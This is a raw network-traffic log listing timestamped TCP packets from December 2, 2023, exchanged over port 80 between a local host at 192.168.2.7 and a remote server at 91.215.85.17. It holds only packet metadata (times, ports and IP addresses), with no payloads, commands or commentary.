Dec 2, 2023 18:01:55.626770020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626806974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626820087 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626843929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626878023 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626885891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626928091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626939058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626966000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627006054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627044916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627062082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627084017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627120018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627124071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627167940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627181053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627207041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627248049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627285957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627300024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627326012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627362967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627367020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627408981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627420902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627448082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627487898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627509117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627527952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627553940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627595901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627614021 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627636909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627676010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627712965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627724886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627751112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627784014 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627791882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627832890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627845049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627871037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627909899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627948999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.627966881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.627991915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628040075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628041029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628079891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628089905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628118992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628160000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628196001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628209114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628235102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628268003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628274918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628317118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628334045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628360033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628398895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628437996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628464937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628478050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628509045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628520012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628567934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628607035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628643036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628643990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628684998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628690004 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628726006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628748894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628768921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628809929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628813982 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628851891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628890991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628930092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.628933907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.628972054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629009008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629009962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629048109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629055023 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629089117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629127026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629138947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629167080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629209995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629262924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629267931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629302979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629317999 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629340887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629379988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629390001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629420996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629460096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629497051 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629498959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629542112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629559040 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629581928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629626036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629663944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629688978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629702091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629738092 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629741907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629782915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629800081 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629820108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629859924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629859924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629899979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629936934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.629981995 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.629982948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630026102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630049944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630062103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630100965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630105019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630146027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630183935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630219936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630228043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630268097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630281925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630310059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630353928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630394936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630403996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630431890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630465031 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630470037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630508900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630522966 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630548000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630587101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630590916 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630629063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630664110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630702019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630702972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630743027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630769014 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630784035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630822897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630831957 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630861998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630898952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630937099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.630960941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.630975008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631002903 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631016016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631059885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631066084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631095886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631135941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631174088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631186962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631213903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631244898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631253004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631293058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631304026 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631330967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631370068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631373882 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631408930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631448984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631484985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631490946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631531000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631546021 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631570101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631611109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631635904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631649971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631686926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631731033 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631731033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631772995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631789923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631810904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631854057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631860018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.631896019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631933928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631978989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.631989956 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632019997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632036924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632061005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632102013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632103920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632119894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632143021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632157087 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632179976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632217884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632224083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632234097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632267952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632280111 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632287025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632303953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632324934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632342100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632344007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632360935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632361889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632383108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632385015 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632400990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632419109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632438898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632455111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632464886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632472992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632483006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632491112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632499933 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632510900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632515907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632531881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632534027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632550955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632551908 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632570028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632580042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632589102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632597923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632610083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632613897 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632631063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632633924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632653952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632657051 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632671118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632688046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632704020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632726908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632736921 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632744074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632752895 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632764101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632769108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632790089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632791996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632811069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632826090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632848024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632863998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632874966 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632885933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632893085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632905960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632910013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632929087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632934093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.632949114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632965088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.632982016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633001089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633016109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633017063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633038044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633040905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633057117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633096933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633117914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633140087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633141994 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633160114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633183002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633202076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633205891 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633222103 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633222103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633254051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633260965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633271933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633290052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633306980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633325100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633332014 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633342981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633348942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633368015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633369923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633383989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633388996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633409977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633429050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633445978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633455038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633464098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633466959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633482933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633486032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633503914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633505106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633522987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633538961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633558035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633574963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633588076 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633590937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633608103 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633609056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633624077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633629084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633645058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633650064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633667946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633686066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633707047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633723021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633732080 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633739948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633749008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633757114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633765936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633774042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633781910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633794069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633797884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633812904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633816004 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633835077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633838892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633852959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633869886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633886099 CET	80	49713	91.215.85.17	192.168.2.7
